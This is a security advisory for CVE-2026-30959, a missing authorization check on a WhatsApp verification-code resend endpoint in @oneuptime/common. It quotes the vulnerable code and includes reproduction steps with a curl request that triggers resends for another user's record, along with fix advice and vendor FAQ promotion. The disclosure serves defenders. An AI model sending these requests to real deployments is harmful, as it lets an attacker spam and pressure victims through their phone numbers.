CVE-2026-30959

Description

The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).

Affected Source

• Endpoint: UserWhatsAppAPI.ts
• Service: UserWhatsAppService.ts
• Verify ownership (present in verify endpoint for comparison): UserWhatsAppAPI.ts

Full Code Lines (UserWhatsAppAPI.ts)

Resend path (authorization gap):

    this.router.post(
      `${new this.entityType()
        .getCrudApiPath()
        ?.toString()}/resend-verification-code`,
      UserMiddleware.getUserMiddleware,
      async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
        try {
          req = req as OneUptimeRequest;

          if (!req.body.itemId) {
            return Response.sendErrorResponse(
              req,
              res,
              new BadDataException("Invalid item ID"),
            );
          }

          await this.service.resendVerificationCode(req.body.itemId);

          return Response.sendEmptySuccessResponse(req, res);
        } catch (err) {
          return next(err);
        }
      },
    );

Verify path (ownership check present):

          if (
            item.userId?.toString() !==
            (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
          ) {
            return Response.sendErrorResponse(
              req,
              res,
              new BadDataException("Invalid user ID"),
            );
          }

Prerequisites

• Valid attacker account with access to a project
• Attacker access token
• A victim’s UserWhatsApp itemId belonging to the same project

Steps to Reproduce

1. Set your attacker token:

   export ATK="Bearer <attacker-access-token>"
   

2. Trigger resend for the victim’s item:

   curl -s -X POST \
     -H "Content-Type: application/json" \
     -H "Authorization: $ATK" \
     -d '{"itemId":"<victim-userwhatsapp-id>"}' \
     http://<host>/api/user-whats-app/resend-verification-code
   

Expected/Observed Behavior

• HTTP 200 with {} body and a new verification code sent to the victim’s phone
• No checks confirm that item.userId equals the authenticated user’s ID for the resend path

• Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

Kodem intelligence

• Enforce ownership: item.userId must match the authenticated user
• Add per-item and per-user rate limiting for resends

1. What is CVE-2026-30959? CVE-2026-30959 is a medium-severity missing authorization vulnerability in @oneuptime/common (npm), affecting versions < 10.0.21. It is fixed in 10.0.21. The application does not perform an authorization check before performing a sensitive operation.
2. Which versions of @oneuptime/common are affected by CVE-2026-30959? @oneuptime/common (npm) versions < 10.0.21 is affected.
3. Is there a fix for CVE-2026-30959? Yes. CVE-2026-30959 is fixed in 10.0.21. Upgrade to this version or later.
4. Is CVE-2026-30959 exploitable, and should I be worried? Whether CVE-2026-30959 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-30959 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-30959? Upgrade @oneuptime/common to 10.0.21 or later.